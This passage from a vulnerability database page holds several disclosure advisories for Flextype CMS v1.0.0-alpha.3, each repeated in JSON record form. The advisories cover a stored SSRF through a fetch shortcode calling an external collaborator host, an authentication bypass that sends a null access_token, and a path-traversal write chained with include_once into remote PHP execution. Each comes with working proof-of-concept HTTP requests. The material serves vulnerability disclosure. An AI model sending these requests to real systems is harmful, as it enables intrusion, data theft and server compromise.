"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/21"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Server-Side Request Forgery via fetch() in Query API",
"x_gcve": [
{
"recordType": "analysis",
"relationships": [
{
"destId": "CVE-2026-77939",
"type": "possibly_related"
}
],
"vulnId": "GCVE-1988-2026-0179",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/21",
"automated": true,
"contentSha256": "c9e2a727f1f53efb6b4cf5be0bcca4af1eb3ca45be5286682e35f5d90167ecd2",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/21",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:16:22Z"
}
},
{
"recordType": "advisory",
"vulnId": "gcve-1988-2026-0179"
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-08T07:25:42Z",
"dateUpdated": "2026-09-09T13:03:55Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0179"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0014
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains a stored server-side request forgery
(SSRF) vulnerability in its shortcode-processing functionality.
Attacker-controlled entry fields can be automatically processed by
Flextype's shortcode parser. The built-in fetch shortcode accepts an
attacker-controlled resource and passes the resulting value to the
server-side fetch() helper without sufficient destination restrictions.
An attacker capable of creating or modifying an entry can therefore persist
a fetch shortcode that causes Flextype to initiate an HTTP request from the
server when the entry is processed.
Testing confirmed that an attacker-controlled external destination was
contacted and that the destination's HTTP response was returned through the
processed entry. Subsequent normal retrieval of the stored entry caused the
server-side request to occur again.
Impact
An attacker can persist server-side HTTP requests that are executed from
the network context of the Flextype server.
Depending on network configuration, this may provide access to HTTP
services that are inaccessible from the attacker's network position,
including loopback and internal network resources.
Because the destination response is returned through the processed entry,
the vulnerability provides non-blind SSRF.
This vulnerability is distinct from SSRF through /api/v1/query because the
affected execution path uses stored entry content processed through
ShortcodesDirective and FetchShortcode, rather than direct expression
evaluation through the Query API.
DetailsAttacker-Controlled Fetch Resource
FetchShortcode.php obtains the resource from shortcode parameters:
// Get the resource parameter.
$resource = parsers()->shortcodes()->parse($params['resource']);
The resulting attacker-controlled resource is supplied to the server-side
fetch helper:
// Do fetch the data from the resource.
$result = fetch($resource, $options);
Proof of Concept
An entry containing an attacker-controlled fetch shortcode was created:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"shortcode-ssrf-proof","data":{"title":"(fetch:'http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com')"}}
Flextype returned the destination's HTTP response:
{
"reasonPhrase": "OK",
"statusCode": 200,
"headers": {
"Server": [
"Burp Collaborator https://burpcollaborator.net/";
],
"X-Collaborator-Version": [
"4"
],
"Content-Type": [
"text/html"
],
"Content-Length": [
"55"
]
},
"body": "<html><body>2trzdergwz6ntzdoje2rmtzjjgmgz</body></html>"
}
The entry was subsequently retrieved:
GET /api/v1/entries?token=lab-token&id=shortcode-ssrf-proof HTTP/1.1
Host: 127.0.0.1:18086
The resulting entry again contained the response obtained from the
attacker-controlled destination.
This demonstrates that the server-side request originates from stored
shortcode content and can be triggered during subsequent entry processing.
Root Cause
The vulnerability occurs because remotely controllable stored entry data is
processed as shortcode syntax and FetchShortcode permits the shortcode to
select a server-side network destination.
The resulting resource is passed directly to:
$result = fetch($resource, $options);
without sufficient restrictions preventing requests to attacker-controlled
or security-sensitive destinations.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
9 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains a stored server-side request forgery\n(SSRF) vulnerability in its shortcode-processing functionality.\n\nAttacker-controlled entry fields can be automatically processed by\nFlextype\u0027s shortcode parser. The built-in fetch shortcode accepts an\nattacker-controlled resource and passes the resulting value to the\nserver-side fetch() helper without sufficient destination restrictions.\n\nAn attacker capable of creating or modifying an entry can therefore persist\na fetch shortcode that causes Flextype to initiate an HTTP request from the\nserver when the entry is processed.\n\nTesting confirmed that an attacker-controlled external destination was\ncontacted and that the destination\u0027s HTTP response was returned through the\nprocessed entry. Subsequent normal retrieval of the stored entry caused the\nserver-side request to occur again.\nImpact\n\nAn attacker can persist server-side HTTP requests that are executed from\nthe network context of the Flextype server.\n\nDepending on network configuration, this may provide access to HTTP\nservices that are inaccessible from the attacker\u0027s network position,\nincluding loopback and internal network resources.\n\nBecause the destination response is returned through the processed entry,\nthe vulnerability provides non-blind SSRF.\n\nThis vulnerability is distinct from SSRF through /api/v1/query because the\naffected execution path uses stored entry content processed through\nShortcodesDirective and FetchShortcode, rather than direct expression\nevaluation through the Query API.\nDetailsAttacker-Controlled Fetch Resource\n\nFetchShortcode.php obtains the resource from shortcode parameters:\n\n// Get the resource parameter.\n$resource = parsers()-\u003eshortcodes()-\u003eparse($params[\u0027resource\u0027]);\n\nThe resulting attacker-controlled resource is supplied to the server-side\nfetch helper:\n\n// Do fetch the data from the resource.\n$result = fetch($resource, $options);\n\nProof of Concept\n\nAn entry containing an attacker-controlled fetch shortcode was created:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"shortcode-ssrf-proof\",\"data\":{\"title\":\"(fetch:\u0027http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com\u0026apos;)\"}}\n\nFlextype returned the destination\u0027s HTTP response:\n\n{\n \"reasonPhrase\": \"OK\",\n \"statusCode\": 200,\n \"headers\": {\n \"Server\": [\n \"Burp Collaborator https://burpcollaborator.net/\";\n ],\n \"X-Collaborator-Version\": [\n \"4\"\n ],\n \"Content-Type\": [\n \"text/html\"\n ],\n \"Content-Length\": [\n \"55\"\n ]\n },\n \"body\": \"\u003chtml\u003e\u003cbody\u003e2trzdergwz6ntzdoje2rmtzjjgmgz\u003c/body\u003e\u003c/html\u003e\"\n}\n\nThe entry was subsequently retrieved:\n\nGET /api/v1/entries?token=lab-token\u0026id=shortcode-ssrf-proof HTTP/1.1\nHost: 127.0.0.1:18086\n\nThe resulting entry again contained the response obtained from the\nattacker-controlled destination.\n\nThis demonstrates that the server-side request originates from stored\nshortcode content and can be triggered during subsequent entry processing.\nRoot Cause\n\nThe vulnerability occurs because remotely controllable stored entry data is\nprocessed as shortcode syntax and FetchShortcode permits the shortcode to\nselect a server-side network destination.\n\nThe resulting resource is passed directly to:\n\n$result = fetch($resource, $options);\n\nwithout sufficient restrictions preventing requests to attacker-controlled\nor security-sensitive destinations.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:04:01Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/26"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/26"
},
{
"url": "http://042a59uugt4xtbocdx9ovyusvj1ap4dt.oastify.com\u0026apos"
},
{
"url": "https://burpcollaborator.net/\""
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/26"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 Stored Fetch Shortcode Allows Server-Side Request Forgery",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0014",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/26",
"automated": true,
"contentSha256": "ccf71ea3f6c1e7df21bd9dc161b5f43050d8c82c18c42166541c10bb8904b66b",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/26",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:57:01Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:04:01Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0014"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0011
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:03
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass
Summary
Description
Flextype CMS v1.0.0-alpha.3 contains an authentication validation
vulnerability in the API request-processing functionality. API endpoints
may declare access_token as a required parameter, but the
required-parameter validation only verifies that the corresponding key
exists in the supplied request data.
Authentication verification is subsequently performed inside an isset($data
['access_token']) condition. In PHP, isset() returns false when a key
exists but its value is null.
An attacker can therefore supply "access_token": null, satisfying the
required-parameter existence check while causing the subsequent
access-token verification logic to be skipped.
Testing confirmed that a protected Entries API operation accepted an
access_token value of null and successfully created an entry.
Impact
An remote attacker can bypass the access_token authentication requirement
for affected API endpoints.
The resulting impact depends on the functionality exposed by the affected
endpoint. Where the bypass provides access to entry creation, modification,
query, or other privileged API functionality, it may also remove the
authentication prerequisite from vulnerabilities reachable through those
endpoints.
The public API token requirement should be considered separately from the
bypassed access_token security control.
DetailsRequired Parameter Validation
Flextype combines query and request-body parameters and verifies required
parameters by checking only whether the required key occurs within the
resulting array:
$data = array_merge($queryData, $bodyData);
$dataTest = true;
foreach ($options['params'] as $key => $value) {
if (in_array($value, array_keys($data))) {
continue;
}
$dataTest = false;
}
Consequently, a request containing:
{
"access_token": null
}
satisfies the parameter-presence requirement because the access_token key
exists.
Authentication Verification
Access-token validation is subsequently conditional upon PHP's isset():
if (isset($data['access_token'])) {
if (! isset($tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
if (! verifyTokenHash($data['access_token'],
$tokenData['hashed_access_token'])) {
return $this->getStatusCodeMessage(401);
}
}
For a PHP array containing an access_token key whose value is null:
isset($data['access_token'])
evaluates to false.
The authentication verification block is therefore skipped.
Proof of Concept
The following request supplies the required access_token parameter with a
JSON null value:
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18086
Content-Type: application/json
{"token":"lab-token","access_token":null,"id":"auth-null-proof","data":{"title":"AUTH_NULL_BYPASS_PROOF"}}
Flextype accepted the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18086
Content-Type: application/json;charset=UTF-8
{"title":"AUTH_NULL_BYPASS_PROOF","published_by":"","created_by":"","uuid":"514b6f5a-dc16-4572-9c16-8ac4a17250f0","content":"","slug":"auth-null-proof","published_at":1788143638,"modified_at":1788143638,"created_at":1788143638,"routable":true,"visibility":"visible","id":"auth-null-proof"}
The successful creation of auth-null-proof demonstrates that supplying a
null access token bypasses the access-token verification performed by the
API authentication logic.
Root Cause
The vulnerability results from inconsistent validation of required
parameters.
The first validation considers a parameter present when its key exists:
in_array($value, array_keys($data))
while authentication is conditional upon:
isset($data['access_token'])
These operations have different behavior for null values.
A JSON value of:
"access_token": null
therefore satisfies the first condition while preventing execution of the
second.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS v1.0.0-alpha.3 contains an authentication validation\nvulnerability in the API request-processing functionality. API endpoints\nmay declare access_token as a required parameter, but the\nrequired-parameter validation only verifies that the corresponding key\nexists in the supplied request data.\n\nAuthentication verification is subsequently performed inside an isset($data\n[\u0027access_token\u0027]) condition. In PHP, isset() returns false when a key\nexists but its value is null.\n\nAn attacker can therefore supply \"access_token\": null, satisfying the\nrequired-parameter existence check while causing the subsequent\naccess-token verification logic to be skipped.\n\nTesting confirmed that a protected Entries API operation accepted an\naccess_token value of null and successfully created an entry.\nImpact\n\nAn remote attacker can bypass the access_token authentication requirement\nfor affected API endpoints.\n\nThe resulting impact depends on the functionality exposed by the affected\nendpoint. Where the bypass provides access to entry creation, modification,\nquery, or other privileged API functionality, it may also remove the\nauthentication prerequisite from vulnerabilities reachable through those\nendpoints.\n\nThe public API token requirement should be considered separately from the\nbypassed access_token security control.\nDetailsRequired Parameter Validation\n\nFlextype combines query and request-body parameters and verifies required\nparameters by checking only whether the required key occurs within the\nresulting array:\n\n$data = array_merge($queryData, $bodyData);\n\n$dataTest = true;\n\nforeach ($options[\u0027params\u0027] as $key =\u003e $value) {\n if (in_array($value, array_keys($data))) {\n continue;\n }\n\n $dataTest = false;\n}\n\nConsequently, a request containing:\n\n{\n \"access_token\": null\n}\n\nsatisfies the parameter-presence requirement because the access_token key\nexists.\nAuthentication Verification\n\nAccess-token validation is subsequently conditional upon PHP\u0027s isset():\n\nif (isset($data[\u0027access_token\u0027])) {\n if (! isset($tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n\n if (! verifyTokenHash($data[\u0027access_token\u0027],\n$tokenData[\u0027hashed_access_token\u0027])) {\n return $this-\u003egetStatusCodeMessage(401);\n }\n}\n\nFor a PHP array containing an access_token key whose value is null:\n\nisset($data[\u0027access_token\u0027])\n\nevaluates to false.\n\nThe authentication verification block is therefore skipped.\nProof of Concept\n\nThe following request supplies the required access_token parameter with a\nJSON null value:\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18086\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":null,\"id\":\"auth-null-proof\",\"data\":{\"title\":\"AUTH_NULL_BYPASS_PROOF\"}}\n\nFlextype accepted the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18086\nContent-Type: application/json;charset=UTF-8\n\n{\"title\":\"AUTH_NULL_BYPASS_PROOF\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"514b6f5a-dc16-4572-9c16-8ac4a17250f0\",\"content\":\"\",\"slug\":\"auth-null-proof\",\"published_at\":1788143638,\"modified_at\":1788143638,\"created_at\":1788143638,\"routable\":true,\"visibility\":\"visible\",\"id\":\"auth-null-proof\"}\n\nThe successful creation of auth-null-proof demonstrates that supplying a\nnull access token bypasses the access-token verification performed by the\nAPI authentication logic.\nRoot Cause\n\nThe vulnerability results from inconsistent validation of required\nparameters.\n\nThe first validation considers a parameter present when its key exists:\n\nin_array($value, array_keys($data))\n\nwhile authentication is conditional upon:\n\nisset($data[\u0027access_token\u0027])\n\nThese operations have different behavior for null values.\n\nA JSON value of:\n\n\"access_token\": null\n\ntherefore satisfies the first condition while preventing execution of the\nsecond.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing list\nhttps://nmap.org/mailman/listinfo/fulldisclosure\nWeb Archives \u0026 RSS: https://seclists.org/fulldisclosure/"
}
],
"providerMetadata": {
"dateUpdated": "2026-09-09T13:03:57Z",
"orgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"shortName": "VULNARCHIVE"
},
"references": [
{
"tags": [
"technical-description",
"exploit"
],
"url": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23"
},
{
"tags": [
"technical-description"
],
"url": "https://seclists.org/fulldisclosure/2026/Sep/23"
},
{
"url": "https://github.com/ob1sec"
},
{
"url": "https://linkedin.com/in/yourhandle"
},
{
"url": "https://nmap.org/mailman/listinfo/fulldisclosure"
},
{
"url": "https://seclists.org/fulldisclosure/"
},
{
"url": "https://www.linkedin.com/in/ronedgerson1"
}
],
"source": {
"defect": [
"https://seclists.org/fulldisclosure/2026/Sep/23"
],
"discovery": "EXTERNAL"
},
"title": "Flextype v1.0.0-alpha.3 NULL access_token Authentication Bypass",
"x_gcve": [
{
"recordType": "advisory",
"relationships": [],
"vulnId": "GCVE-1988-2026-0011",
"x_vulnarchive": {
"archiveUrl": "https://vuln.freearchive.org/archive/full-disclosure/2026/Sep/23",
"automated": true,
"contentSha256": "efe9de737ca56dbcd80c23ad730f7fd8c9523cc4918fd3fb3e884a81fe122cb6",
"evidenceScore": 9,
"messageId": "",
"originalUrl": "https://seclists.org/fulldisclosure/2026/Sep/23",
"policy": "vulnarchive-1",
"sourceFormat": "text/html",
"sourcePublishedAt": "2026-08-31T02:50:46Z"
}
}
]
}
},
"cveMetadata": {
"assignerOrgId": "4e2abfbf-4a2a-4b76-a4e0-d77c18ba156c",
"assignerShortName": "VULNARCHIVE",
"datePublished": "2026-09-07T06:42:13Z",
"dateUpdated": "2026-09-09T13:03:57Z",
"state": "PUBLISHED",
"vulnId": "GCVE-1988-2026-0011"
},
"dataType": "CVE_RECORD",
"dataVersion": "5.2"
}
GCVE-1988-2026-0002
Vulnerability from gna-1988 – Published: 2026-09-07 06:42 – Updated: 2026-09-09 13:04
VLAI
EPSS
VEX
Title
Flextype v1.0.0-alpha.3 CMS registerShortcodes() Remote Code Execution via Attacker-Controlled File Inclusion
Summary
Description
Flextype CMS contains a remote code execution vulnerability in the
interaction between the Entries API and Shortcodes::registerShortcodes().
The /api/v1/entries endpoint accepts an attacker-controlled entry
identifier that can contain path traversal sequences, allowing content
containing PHP code to be written outside the intended entries directory.
The /api/v1/query endpoint subsequently permits an attacker-controlled path
to reach Shortcodes::registerShortcodes(), where the supplied path is
passed to an include_once operation relative to FLEXTYPE_ROOT_DIR.
An attacker can therefore first use the path traversal condition to place a
PHP-containing file at a predictable location beneath the application root
and then invoke registerShortcodes() with the path to that file. PHP
interprets the included file as executable PHP regardless of the .md
extension, resulting in execution of attacker-controlled code in the
context of the Flextype PHP process.
Impact
A remote attacker with the required API access can execute arbitrary PHP
code with the privileges of the Flextype application process. This may
result in complete compromise of the affected Flextype installation,
including unauthorized access to application data, modification or deletion
of content, disclosure of sensitive configuration or credentials accessible
to the application, installation of persistent malicious code, and further
compromise of resources accessible from the application server.
The demonstrated proof of concept performs only a benign filesystem write
to /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution
without performing destructive actions.
Technical DetailsStep 1 — Path Traversal Allows PHP Content to Be Written
Beneath the Application Root
The /api/v1/entries endpoint accepts the attacker-controlled identifier
../../rce-register-shortcodes. The traversal sequence causes the resulting
entry to be written to /app/rce-register-shortcodes/entry.md rather than
remaining within the intended entries storage location.
POST /api/v1/entries HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","id":"../../rce-register-shortcodes","data":{"title":"register
shortcodes rce","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>"}}
The server accepts the traversal identifier and returns a successful
response:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 410
Access-Control-Allow-Origin: *
{"title":"register shortcodes
rce","published_by":"","created_by":"","uuid":"77bce63b-9006-46df-8bbc-48e2182d5b84","content":"<?php
file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF');
?>","slug":"rce-register-shortcodes","published_at":1788178537,"modified_at":1788178537,"created_at":1788178537,"routable":true,"visibility":"visible","id":"../../rce-register-shortcodes"}
The resulting file is created at:
/app/rce-register-shortcodes/entry.md
Its contents include the supplied PHP payload:
---
title: 'register shortcodes rce'
published_by: ''
created_by: ''
uuid: 77bce63b-9006-46df-8bbc-48e2182d5b84
---
<?php file_put_contents('/tmp/register-shortcodes-rce-proof',
'REGISTER_SHORTCODES_RCE_PROOF'); ?>
Before the file is included, the proof file does not exist:
marker_exists=no
This confirms that merely writing the entry does not execute the PHP
payload.
Step 2 — Attacker-Controlled Path Reaches registerShortcodes() include_once
The attacker can then invoke parsers().shortcodes().registerShortcodes()
through /api/v1/query and supply the path of the previously created file:
POST /api/v1/query HTTP/1.1
Host: 127.0.0.1:18089
Content-Type: application/json
{"token":"lab-token","access_token":"password","query":{"include":"parsers().shortcodes().registerShortcodes([{enabled:
true, path: 'rce-register-shortcodes/entry.md'}])"}}
The supplied path reaches an include_once operation equivalent to:
include_once FLEXTYPE_ROOT_DIR . '/' . $path;
The server successfully processes the request:
HTTP/1.1 200 OK
Host: 127.0.0.1:18089
Content-Type: application/json;charset=UTF-8
Content-Length: 16
Access-Control-Allow-Origin: *
{"include":null}
Following the registerShortcodes() invocation, the marker file exists:
marker_exists=yes
REGISTER_SHORTCODES_RCE_PROOF
The transition from marker_exists=no before the include_once operation to
marker_exists=yes afterward demonstrates that the PHP contained within
entry.md was interpreted and executed by the PHP runtime.
Exploitation Chain
The demonstrated attack consists of two conditions:
1. *Path traversal / arbitrary file write:* attacker-controlled PHP
content is written beneath the Flextype application root using
/api/v1/entries.
2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the
attacker to pass the created file to Shortcodes::registerShortcodes(),
which reaches include_once.
When chained, these conditions result in remote arbitrary PHP code
execution.
Ron Edgerson
Vulnerability Researcher & Exploit Developer
CVE Research | Binary Exploitation | Application & Systems Security
Responsible Disclosure • Proof-of-Concept Development
🌐 https://github.com/ob1sec
🔗 https://www.linkedin.com/in/ronedgerson1
<https://linkedin.com/in/yourhandle>
_______________________________________________
Sent through the Full Disclosure mailing list
https://nmap.org/mailman/listinfo/fulldisclosure
Web Archives & RSS: https://seclists.org/fulldisclosure/
Severity
No CVSS data available.
Assigner
References
7 references
{
"containers": {
"cna": {
"affected": [
{
"product": "Flextype",
"vendor": "Flextype",
"versions": [
{
"status": "affected",
"version": "unknown"
}
]
}
],
"credits": [
{
"lang": "en",
"type": "finder",
"value": "Ron E"
}
],
"descriptions": [
{
"lang": "en",
"value": "Description\n\nFlextype CMS contains a remote code execution vulnerability in the\ninteraction between the Entries API and Shortcodes::registerShortcodes().\nThe /api/v1/entries endpoint accepts an attacker-controlled entry\nidentifier that can contain path traversal sequences, allowing content\ncontaining PHP code to be written outside the intended entries directory.\n\nThe /api/v1/query endpoint subsequently permits an attacker-controlled path\nto reach Shortcodes::registerShortcodes(), where the supplied path is\npassed to an include_once operation relative to FLEXTYPE_ROOT_DIR.\n\nAn attacker can therefore first use the path traversal condition to place a\nPHP-containing file at a predictable location beneath the application root\nand then invoke registerShortcodes() with the path to that file. PHP\ninterprets the included file as executable PHP regardless of the .md\nextension, resulting in execution of attacker-controlled code in the\ncontext of the Flextype PHP process.\nImpact\n\nA remote attacker with the required API access can execute arbitrary PHP\ncode with the privileges of the Flextype application process. This may\nresult in complete compromise of the affected Flextype installation,\nincluding unauthorized access to application data, modification or deletion\nof content, disclosure of sensitive configuration or credentials accessible\nto the application, installation of persistent malicious code, and further\ncompromise of resources accessible from the application server.\n\nThe demonstrated proof of concept performs only a benign filesystem write\nto /tmp/register-shortcodes-rce-proof, confirming arbitrary PHP execution\nwithout performing destructive actions.\nTechnical DetailsStep 1 \u2014 Path Traversal Allows PHP Content to Be Written\nBeneath the Application Root\n\nThe /api/v1/entries endpoint accepts the attacker-controlled identifier\n../../rce-register-shortcodes. The traversal sequence causes the resulting\nentry to be written to /app/rce-register-shortcodes/entry.md rather than\nremaining within the intended entries storage location.\n\nPOST /api/v1/entries HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"id\":\"../../rce-register-shortcodes\",\"data\":{\"title\":\"register\nshortcodes rce\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\"}}\n\nThe server accepts the traversal identifier and returns a successful\nresponse:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 410\nAccess-Control-Allow-Origin: *\n\n{\"title\":\"register shortcodes\nrce\",\"published_by\":\"\",\"created_by\":\"\",\"uuid\":\"77bce63b-9006-46df-8bbc-48e2182d5b84\",\"content\":\"\u003c?php\nfile_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027);\n?\u003e\",\"slug\":\"rce-register-shortcodes\",\"published_at\":1788178537,\"modified_at\":1788178537,\"created_at\":1788178537,\"routable\":true,\"visibility\":\"visible\",\"id\":\"../../rce-register-shortcodes\"}\n\nThe resulting file is created at:\n\n/app/rce-register-shortcodes/entry.md\n\nIts contents include the supplied PHP payload:\n\n---\ntitle: \u0027register shortcodes rce\u0027\npublished_by: \u0027\u0027\ncreated_by: \u0027\u0027\nuuid: 77bce63b-9006-46df-8bbc-48e2182d5b84\n---\n\u003c?php file_put_contents(\u0027/tmp/register-shortcodes-rce-proof\u0027,\n\u0027REGISTER_SHORTCODES_RCE_PROOF\u0027); ?\u003e\n\nBefore the file is included, the proof file does not exist:\n\nmarker_exists=no\n\nThis confirms that merely writing the entry does not execute the PHP\npayload.\nStep 2 \u2014 Attacker-Controlled Path Reaches registerShortcodes() include_once\n\nThe attacker can then invoke parsers().shortcodes().registerShortcodes()\nthrough /api/v1/query and supply the path of the previously created file:\n\nPOST /api/v1/query HTTP/1.1\nHost: 127.0.0.1:18089\nContent-Type: application/json\n\n{\"token\":\"lab-token\",\"access_token\":\"password\",\"query\":{\"include\":\"parsers().shortcodes().registerShortcodes([{enabled:\ntrue, path: \u0027rce-register-shortcodes/entry.md\u0027}])\"}}\n\nThe supplied path reaches an include_once operation equivalent to:\n\ninclude_once FLEXTYPE_ROOT_DIR . \u0027/\u0027 . $path;\n\nThe server successfully processes the request:\n\nHTTP/1.1 200 OK\nHost: 127.0.0.1:18089\nContent-Type: application/json;charset=UTF-8\nContent-Length: 16\nAccess-Control-Allow-Origin: *\n\n{\"include\":null}\n\nFollowing the registerShortcodes() invocation, the marker file exists:\n\nmarker_exists=yes\nREGISTER_SHORTCODES_RCE_PROOF\n\nThe transition from marker_exists=no before the include_once operation to\nmarker_exists=yes afterward demonstrates that the PHP contained within\nentry.md was interpreted and executed by the PHP runtime.\nExploitation Chain\n\nThe demonstrated attack consists of two conditions:\n\n 1. *Path traversal / arbitrary file write:* attacker-controlled PHP\n content is written beneath the Flextype application root using\n /api/v1/entries.\n 2. *Attacker-controlled PHP inclusion:* /api/v1/query allows the\n attacker to pass the created file to Shortcodes::registerShortcodes(),\n which reaches include_once.\n\nWhen chained, these conditions result in remote arbitrary PHP code\nexecution.\n\nRon Edgerson\nVulnerability Researcher \u0026 Exploit Developer\n\nCVE Research | Binary Exploitation | Application \u0026 Systems Security\nResponsible Disclosure \u2022 Proof-of-Concept Development\n\n\ud83c\udf10 https://github.com/ob1sec\n\ud83d\udd17 https://www.linkedin.com/in/ronedgerson1\n\u003chttps://linkedin.com/in/yourhandle\u003e\n_______________________________________________\nSent through the Full Disclosure mailing 